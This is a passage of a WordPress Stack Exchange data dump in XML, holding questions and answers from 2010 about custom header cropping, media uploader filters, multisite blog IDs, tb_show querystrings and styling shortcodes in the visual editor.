  &amp;lt;input type=&quot;hidden&quot; name=&quot;x1&quot; id=&quot;x1&quot; value=&quot;0&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;y1&quot; id=&quot;y1&quot; value=&quot;0&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;width&quot; id=&quot;width&quot; value=&quot;&amp;lt;?php echo esc_attr( $width ); ?&amp;gt;&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;height&quot; id=&quot;height&quot; value=&quot;&amp;lt;?php echo esc_attr( $height ); ?&amp;gt;&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;attachment_id&quot; id=&quot;attachment_id&quot; value=&quot;&amp;lt;?php echo esc_attr( $id ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;oitar&quot; id=&quot;oitar&quot; value=&quot;&amp;lt;?php echo esc_attr( $oitar ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field( 'custom-header-crop-image' ) ?&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Crop and Publish' ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    /**&#xA;     * Display third step of custom header image page.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function step_3() {&#xA;        check_admin_referer('custom-header-crop-image');&#xA;        if ( $_POST['oitar'] &amp;gt; 1 ) {&#xA;            $_POST['x1'] = $_POST['x1'] * $_POST['oitar'];&#xA;            $_POST['y1'] = $_POST['y1'] * $_POST['oitar'];&#xA;            $_POST['width'] = $_POST['width'] * $_POST['oitar'];&#xA;            $_POST['height'] = $_POST['height'] * $_POST['oitar'];&#xA;        }&#xA;&#xA;        $original = get_attached_file( $_POST['attachment_id'] );&#xA;&#xA;        $cropped = wp_crop_image($_POST['attachment_id'], $_POST['x1'], $_POST['y1'], $_POST['width'], $_POST['height'], HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT);&#xA;        if ( is_wp_error( $cropped ) )&#xA;            wp_die( __( 'Image could not be processed.  Please go back and try again.' ), __( 'Image Processing Error' ) );&#xA;&#xA;        $cropped = apply_filters('wp_create_file_in_uploads', $cropped, $_POST['attachment_id']); // For replication&#xA;&#xA;        $parent = get_post($_POST['attachment_id']);&#xA;        $parent_url = $parent-&amp;gt;guid;&#xA;        $url = str_replace(basename($parent_url), basename($cropped), $parent_url);&#xA;&#xA;        // Construct the object array&#xA;        $object = array(&#xA;            'ID' =&amp;gt; $_POST['attachment_id'],&#xA;            'post_title' =&amp;gt; basename($cropped),&#xA;            'post_content' =&amp;gt; $url,&#xA;            'post_mime_type' =&amp;gt; 'image/jpeg',&#xA;            'guid' =&amp;gt; $url&#xA;        );&#xA;&#xA;        // Update the attachment&#xA;        wp_insert_attachment($object, $cropped);&#xA;        wp_update_attachment_metadata( $_POST['attachment_id'], wp_generate_attachment_metadata( $_POST['attachment_id'], $cropped ) );&#xA;&#xA;        set_theme_mod('header_image', $url);&#xA;&#xA;        // cleanup&#xA;        $medium = str_replace(basename($original), 'midsize-'.basename($original), $original);&#xA;        @unlink( apply_filters( 'wp_delete_file', $medium ) );&#xA;        @unlink( apply_filters( 'wp_delete_file', $original ) );&#xA;&#xA;        return $this-&amp;gt;finished();&#xA;    }&#xA;&#xA;    /**&#xA;     * Display last step of custom header image page.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function finished() {&#xA;        $this-&amp;gt;updated = true;&#xA;        $this-&amp;gt;step_1();&#xA;    }&#xA;&#xA;    /**&#xA;     * Display the page based on the current step.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function admin_page() {&#xA;        if ( ! current_user_can('edit_theme_options') )&#xA;            wp_die(__('You do not have permission to customize headers.'));&#xA;        $step = $this-&amp;gt;step();&#xA;        if ( 1 == $step )&#xA;            $this-&amp;gt;step_1();&#xA;        elseif ( 2 == $step )&#xA;            $this-&amp;gt;step_2();&#xA;        elseif ( 3 == $step )&#xA;            $this-&amp;gt;step_3();&#xA;    }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-05-06T22:43:55.213" Title="Duplicate Custom Header Functionality into the post edit screen" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;media&gt;&lt;uploads&gt;&lt;media-library&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="4295" PostTypeId="2" ParentId="4290" CreationDate="2010-11-19T16:45:21.047" Score="3" ViewCount="" Body="&lt;p&gt;Yes, you can add fields, an example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rt_image_attachment_fields_to_save($post, $attachment) {&#xA;    // $attachment part of the form $_POST ($_POST[attachments][postID])&#xA;        // $post['post_type'] == 'attachment'&#xA;    if( isset($attachment['rt-image-link']) ){&#xA;        // update_post_meta(postID, meta_key, meta_value);&#xA;        update_post_meta($post['ID'], '_rt-image-link', $attachment['rt-image-link']);&#xA;    }&#xA;    return $post;&#xA;}&#xA;// now attach our function to the hook.&#xA;add_filter(&quot;attachment_fields_to_save&quot;, &quot;rt_image_attachment_fields_to_save&quot;, null , 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see more on &lt;a href=&quot;http://wpveda.com/adding-custom-fields-to-wordpress-media-gallery-upload/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-19T16:45:21.047" CommentCount="2" />
  <row Id="4296" PostTypeId="2" ParentId="4249" CreationDate="2010-11-19T16:47:41.700" Score="2" ViewCount="" Body="&lt;h2&gt;Plug-ins&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/job-listing/&quot; rel=&quot;nofollow&quot;&gt;Job Listing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/job-manager/&quot; rel=&quot;nofollow&quot;&gt;Job Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wpcareers/&quot; rel=&quot;nofollow&quot;&gt;WP Careers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpjobboard.net/&quot; rel=&quot;nofollow&quot;&gt;WP Job Board&lt;/a&gt; - &lt;em&gt;Premium&lt;/em&gt; (This has a similar name to the one you linked to, but they seem to be completely different systems)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Themes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://appthemes.com/themes/jobroller/&quot; rel=&quot;nofollow&quot;&gt;JobRoller&lt;/a&gt; - &lt;em&gt;Premium&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://templatic.com/cms-themes/job-board&quot; rel=&quot;nofollow&quot;&gt;Job Board&lt;/a&gt; - &lt;em&gt;Premium&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dailywp.com/jobpress-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;JobPress&lt;/a&gt; - &lt;em&gt;Premium&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://press75.com/#tapp-jobs&quot; rel=&quot;nofollow&quot;&gt;Tapp Jobs&lt;/a&gt; - &lt;em&gt;Premium&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see, a lot of available solutions are premium plug-ins or themes.  The pricing seems fairly reasonable ($25-$40 for a good solution), but if you're really strapped with your project budget the free plug-ins might serve as a good base for building your own replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Once again, though, I have no criteria with which to judge any of these alternatives since you never explained exactly what you were looking for.  All of these options will help you build a job site, but without a better understanding of what you're trying to accomplish, I have no idea which, if any, would be the best route for you.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-19T16:47:41.700" CommentCount="1" />
  <row Id="4297" PostTypeId="2" ParentId="4291" CreationDate="2010-11-19T17:00:48.663" Score="2" ViewCount="" Body="&lt;p&gt;Make you're passing the &lt;em&gt;numeric category id&lt;/em&gt; into the category_description function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of the variable $category won't fill itself automatically, if that's what you were expecting. You need to set it for each category you output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you post the relevant code (the loop you're using to sipt out that category list), it'd be easier to troubleshoot.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-19T17:00:48.663" CommentCount="4" />
  <row Id="4298" PostTypeId="1" CreationDate="2010-11-19T17:03:09.747" Score="1" ViewCount="600" Body="&lt;p&gt;In creating a custom navigation menu in TwentyTen ( WP3.01), is it possible to make an image a link to a page on the same site, using wp_nav_menu() ? Is it the case that wp_nav_menu() echos or returns only text and cannot be made to return or echo an image? If this is the case, is there a workaround?&lt;/p&gt;&#xA;" LastActivityDate="2010-11-19T19:47:54.187" Title="Image as a link using wp_nav_menu()" Tags="&lt;custom-menus&gt;&lt;images&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="4299" PostTypeId="2" ParentId="4292" CreationDate="2010-11-19T17:15:44.247" Score="1" ViewCount="" Body="&lt;p&gt;$post should be a post ID (so $post-&gt;ID if you've got the global $post object in scope)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the function call parameters are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$id&lt;/code&gt;: the id of the post (integer)&lt;br&gt;&#xA;&lt;code&gt;$keyname&lt;/code&gt;: a string containing the name of the custom field&lt;br&gt;&#xA;&lt;code&gt;$single&lt;/code&gt;: boolean - true means return a string for the first value, false means an array of all values for the key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The codex page is here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try &lt;code&gt;get_post_custom_values($key, $post_id)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$key&lt;/code&gt; is the 'name' of the custom field you want to retrieve. &lt;code&gt;$post_id&lt;/code&gt; is optional, and defaults to the current post.  &lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2010-11-23T09:55:37.217" LastActivityDate="2010-11-23T09:55:37.217" CommentCount="4" />
  <row Id="4300" PostTypeId="2" ParentId="1700" CreationDate="2010-11-19T17:27:06.720" Score="0" ViewCount="" Body="&lt;p&gt;I've got the same problem and again on Rackspace Cloud server Ubuntu linux with 512mb of ram. I've tried reducing the maxclients and everything else as low as it can go but still get errors and the server locks up till I hard reboot it.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-19T17:27:06.720" CommentCount="1" />
  <row Id="4301" PostTypeId="2" ParentId="4291" CreationDate="2010-11-19T17:29:11.820" Score="4" ViewCount="" Body="&lt;p&gt;To get the taxonomy term for this particular post, then what you need is &lt;code&gt;wp_get_post_terms($post-&amp;gt;ID, 'yourtaxonomyname')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will return an array of terms in the specified taxonomy for the post specified. The codex  page is: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_post_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're after a specific term in a taxonomy get_term($taxonomy_name, $term_id). You can also get all terms for a taxonomy using get_terms()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how to use it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = wp_get_post_terms($post-&amp;gt;ID,'toolkit');  &#xA;foreach ($terms as $term) {  &#xA;    echo $term-&amp;gt;description;  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2010-12-09T17:24:13.127" LastActivityDate="2010-12-09T17:24:13.127" CommentCount="7" />
  <row Id="4302" PostTypeId="1" AcceptedAnswerId="4305" CreationDate="2010-11-19T17:42:05.857" Score="1" ViewCount="385" Body="&lt;p&gt;I need to apply an add_filter from my functions.php but only if the user has opened media-upload.php from my custom function. Is it possible to send a variable when opening media-upload.php that I could then test for existence of before executing add_filter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Here is my code in which I'm opening the media uploader from my custom icon...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Custom upload launcher for custom attachments&#xA;function wpe_customImages($initcontext)&#xA;{&#xA;    global $post;&#xA;    ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    var fileInput = '';&#xA;&#xA;    jQuery('#customAttachments').click(function() {&#xA;        fileInput = jQuery(this).prev('input');&#xA;        formfield = jQuery('#upload_image').attr('name');&#xA;        post_id = jQuery('#post_ID').val();&#xA;        tb_show('', 'media-upload.php?post_id='+post_id+'&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=true');&#xA;        return false;&#xA;    });&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    return $initcontext. &#xA;    '&amp;lt;input type=&quot;hidden&quot; id=&quot;post_ID&quot; value=&quot;'. $post-&amp;gt;ID .'&quot; /&amp;gt;&#xA;    Product Images:&amp;lt;a id=&quot;customAttachments&quot; href=&quot;javascript:;&quot; &#xA;    class=&quot;mceButton mceButtonEnabled&quot; onmousedown=&quot;return false;&quot; &#xA;    onclick=&quot;return false;&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;'.get_bloginfo('template_directory') .'/img/upload-icon.gif&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('media_buttons_context', 'wpe_customImages');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the above code, would it be possible to set a global variable or some marker that I can test for in order to execute my add_filter code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if(isset($myMarker)){&#xA;  add_filter(&quot;attachment_fields_to_save&quot;, &quot;rt_image_attachment_fields_to_save&quot;, null , 2);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-19T19:09:48.950" Title="Conditional add_filter?" Tags="&lt;plugin-development&gt;&lt;filters&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4303" PostTypeId="1" AcceptedAnswerId="4313" CreationDate="2010-11-19T17:50:57.787" Score="2" ViewCount="470" Body="&lt;p&gt;Does anyone know how to style the visual editor so that when specific shortcodes are used they are replaced with an image within the visual editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that many users screw up the shortcode text or delete it by mistake when using the visual editor so I would like for shortcodes to be replaced with paceholder images within the visual editor. HTML editor would still show the codes though.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-19T19:40:55.643" Title="Styling Shortcodes in Visual Editor" Tags="&lt;admin&gt;&lt;shortcode&gt;&lt;customization&gt;&lt;visual-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4304" PostTypeId="1" AcceptedAnswerId="4306" CreationDate="2010-11-19T17:57:02.290" Score="3" ViewCount="247" Body="&lt;p&gt;I have script in my functions.php that seeks to locate the media directory of the site in which the theme is installed. This is pretty simple unless the site is an MU site. In that case, the media directory is based on the blog_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my code below is returning the main site id rather than the blog_id of the site in which its being run...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_image_list()&#xA;{&#xA;    global $current_site;&#xA;    $dir=is_multisite() ?  'wp-content/blogs.dir/'.$current_site-&amp;gt;blog_id.'/files/' : 'wp-content/uploads/';&#xA;    $url=is_multisite() ?  get_bloginfo('url').'/wp-content/blogs.dir/'.$current_site-&amp;gt;blog_id.'/files/' : get_bloginfo('url').'/wp-content/uploads/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, the actual blog_id is 3, however, its returning a value of 1 for $current_site-&gt;blog_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cannot open wp-content/blogs.dir/1/files/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-11-19T18:13:24.417" LastActivityDate="2011-04-19T01:56:51.103" Title="Error getting correct blog_id on MU from functions.php" Tags="&lt;plugin-development&gt;&lt;multisite&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="4305" PostTypeId="2" ParentId="4302" CreationDate="2010-11-19T17:59:51.517" Score="1" ViewCount="" Body="&lt;p&gt;From the looks of your code, clicking on the &lt;code&gt;#customAttachments&lt;/code&gt; field is firing a jQuery event that calls a &lt;code&gt;tb_show()&lt;/code&gt; method to load the &lt;code&gt;media-upload.php&lt;/code&gt; file with certain GET parameters already set (&lt;code&gt;post_id&lt;/code&gt;, &lt;code&gt;type&lt;/code&gt;, &lt;code&gt;TB_iframe&lt;/code&gt;).  What you &lt;em&gt;could&lt;/em&gt; do is add another GET parameter and check if that's set in order to execute your &lt;code&gt;add_filter()&lt;/code&gt; code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show('', 'media-upload.php?post_id='+post_id+'&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show('', 'media-upload.php?post_id='+post_id+'&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=true&amp;amp;amp;myMarker=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_GET['myMarker'])){&#xA;    add_filter(&quot;attachment_fields_to_save&quot;, &quot;rt_image_attachment_fields_to_save&quot;, null , 2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-19T17:59:51.517" CommentCount="1" />
  <row Id="4306" PostTypeId="2" ParentId="4304" CreationDate="2010-11-19T18:03:07.643" Score="4" ViewCount="" Body="&lt;p&gt;Compare &lt;code&gt;$current_site-&amp;gt;id&lt;/code&gt; with &lt;code&gt;$current_site-&amp;gt;blog_id&lt;/code&gt;.  According to the in-line documentation, &lt;code&gt;blog_id&lt;/code&gt; should be working ... but check to see if there's a major difference there (your system might have a plug-in or something else causing a problem).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update - Ignore last&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It seems like &lt;code&gt;$current_site&lt;/code&gt; is a global variable defined by your &lt;em&gt;site&lt;/em&gt; or &lt;em&gt;network&lt;/em&gt; and will always return the same &lt;code&gt;blog_id&lt;/code&gt; as your network dashboard - in this case, &quot;1.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to use instead is &lt;code&gt;$current_blog&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_image_list() {&#xA;    global $current_blog;&#xA;    $dir=is_multisite() ?  'wp-content/blogs.dir/'.$current_blog-&amp;gt;blog_id.'/files/' : 'wp-content/uploads/';&#xA;    $url=is_multisite() ?  get_bloginfo('url').'/wp-content/blogs.dir/'.$current_blog-&amp;gt;blog_id.'/files/' : get_bloginfo('url').'/wp-content/uploads/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you the right information.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-11-19T18:08:39.853" LastActivityDate="2010-11-19T18:08:39.853" CommentCount="1" />
  <row Id="4307" PostTypeId="1" AcceptedAnswerId="4413" CreationDate="2010-11-19T18:31:26.093" Score="12" ViewCount="5001" Body="&lt;p&gt;I've added a new page under &quot;Pages&quot; in the wordpress admin, and added several custom fields. I'd also like to be able to add an upload image field to the page editor - is there some way to do this via custom-fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a different direction I need to take if I need this ability?&lt;/p&gt;&#xA;" OwnerUserId="1640" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-25T04:22:36.667" LastActivityDate="2011-01-25T08:31:28.910" Title="How can I add an image upload field directly to a custom write panel?" Tags="&lt;wp-admin&gt;&lt;custom-field&gt;&lt;images&gt;&lt;uploads&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="17" />
  <row Id="4308" PostTypeId="1" AcceptedAnswerId="4312" CreationDate="2010-11-19T19:07:20.883" Score="2" ViewCount="278" Body="&lt;p&gt;When I check &quot;view source &gt; frame info&quot; on the window produced by the jQuery code below, it cuts off the querystring at the &amp;amp;type=image. I'm url encoding the ampersands properly, right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address: ...wp-admin/media-upload.php?post_id=28&amp;amp;type=image&amp;amp;&#xA;&#xA;function wpe_customImages($initcontext)&#xA;{&#xA;global $post;&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;var fileInput = '';&#xA;jQuery('#wpe-uploadAttachments').click(function() {&#xA;    fileInput = jQuery(this).prev('input');&#xA;    formfield = jQuery('#upload_image').attr('name');&#xA;    post_id = jQuery('#post_ID').val();&#xA;    tb_show('', 'media-upload.php?post_id='+post_id+'&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=true&amp;amp;amp;wpe_idCustomAttachment=true');&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-19T19:22:57.133" Title="Querystring data gets truncated" Tags="&lt;jquery&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4309" PostTypeId="2" ParentId="4302" CreationDate="2010-11-19T19:09:48.950" Score="1" ViewCount="" Body="&lt;p&gt;Even this question has already an accepted answer, I will try to give a more broad answer to the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get &lt;strong&gt;the name of the page the user has requested&lt;/strong&gt;, there is a global variable that stores it: &lt;code&gt;$pagenow&lt;/code&gt;. This works in both, the admin-area and the website (frontpage). This global variable is always set (it's initialized when &lt;code&gt;wp-includes/vars.php&lt;/code&gt; get's included, which is done by &lt;code&gt;wp-settings.php&lt;/code&gt;, so directly when your wp-config.php file is loaded (at the end of to be precise)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the file &lt;code&gt;media-upload.php&lt;/code&gt; is requested, &lt;code&gt;$pagenow&lt;/code&gt; would be set to &lt;code&gt;&quot;media-upload.php&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could already simply check for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ('media-upload.php' === $pagenow ) { ... do your stuff ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To improve this further on, think about only registering your filter when you really need it. This helps to keep the actual filter function &quot;on topic&quot;. And by that reduces the complexity which is always good. You have not posted the code of your &lt;code&gt;wpe_customImages()&lt;/code&gt; function, but consider the following. I wrote this as a class, but it works with just global functions as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ConditionalFilterPlugin {&#xA;    public function __construct() {&#xA;        add_filter('init', array($this, 'init'));&#xA;    }&#xA;    public function init() {&#xA;        if ('media-upload.php' === $GLOBALS['pagenow'])&#xA;            add_filter('media_buttons_context', array($this, 'customImages'))&#xA;            ;&#xA;    }&#xA;    public function customImages() {&#xA;        // your hook function's code that does not need a conditional any longer.&#xA;    }&#xA;}&#xA;$ConditionalFilterPlugin = new ConditionalFilterPlugin();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This stub registers a second function on the init hook. The init hook is called when wordpress is &quot;ready to use&quot;, which means you can use most of what the wordpress API offers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the &lt;code&gt;init()&lt;/code&gt; function, the pre-requisites to register the &lt;code&gt;customImages()&lt;/code&gt; function are checked before actually registering it. This saves you not only from removing the decision from within your hook callback, but also enables you to re-use the callback function in other places.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-19T19:09:48.950" CommentCount="2" />
  <row Id="4310" PostTypeId="2" ParentId="4279" CreationDate="2010-11-19T19:14:34.907" Score="3" ViewCount="" Body="&lt;p&gt;for reference, see also:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1362/how-to-use-multiple-domains-in-one-multi-site-installation&quot;&gt;How to use Multiple-Domains in one Multi-Site Installation?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3636/301-redirects-for-posts-category-pages-from-original-domain-to-sub-domain-of-mu&quot;&gt;301 Redirects for posts, category, pages from original domain to sub-domain of multisite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/854/full-domain-mapping-with-wp3-in-multiuser-mode&quot;&gt;Full Domain Mapping with WP3 in Multiuser Mode&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-19T19:14:34.907" />
  <row Id="4312" PostTypeId="2" ParentId="4308" CreationDate="2010-11-19T19:22:57.133" Score="3" ViewCount="" Body="&lt;p&gt;As you have asked wether or not you have done the url encoding for the ampersands right, then my answer is: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are calling a javascript function, you're not outputting something as x(ht)ml. You therefore do not need to encode &lt;code&gt;&amp;amp;&lt;/code&gt; as &lt;code&gt;&amp;amp;amp;&lt;/code&gt;. The function is expecting a URL not a string that contains an xml encoded url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's probably nit-picking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why this does not work is, that tb_show() cut's away anything after the first &lt;code&gt;TB_&lt;/code&gt; it finds in that URL, and only the part of the URL before that string is preserved for the iframe src. So you need to move the &lt;code&gt;TB_iframe=true&lt;/code&gt; to the end of the parameter. This should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show('', 'media-upload.php?post_id='+post_id+'&amp;amp;amp;type=image&amp;amp;amp;wpe_idCustomAttachment=true&amp;amp;amp;TB_iframe=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW, wordpress is open source. You can just look to find the tb_show() function in source and look why something is happening or not. This can help to find out specific stuff. I didn't do anything else :)&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-19T19:22:57.133" CommentCount="2" />
  <row Id="4313" PostTypeId="2" ParentId="4303" CreationDate="2010-11-19T19:40:55.643" Score="3" ViewCount="" Body="&lt;p&gt;I have not a working solution at hand, but what I would do is to analyze how this is done for the more seperator. In the HTML editor, there is &lt;code&gt;&amp;lt;!-- more --&amp;gt;&lt;/code&gt;, in the visual editor, an image is displayed instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done by extending the tinyMCE editor - which is the base of the visual editor in wordpress - with a plugin. To learn more about tinymce plugins, you find more examples and documentation in the moxiecode wiki: &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aCreate_plugin/3.x&quot; rel=&quot;nofollow&quot;&gt;Creating a plugin for TinyMCE (3.x)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find example code within the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works basically by replacing content (e.g. the shortcode &lt;code&gt;[mycode]&lt;/code&gt;) with some predefined HTML that contains the image. Before the content get's posted, it is replaced again with the original HTML. You can make use of regular expressions in the process. The more link is showing this quite well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-19T19:40:55.643" CommentCount="4" />
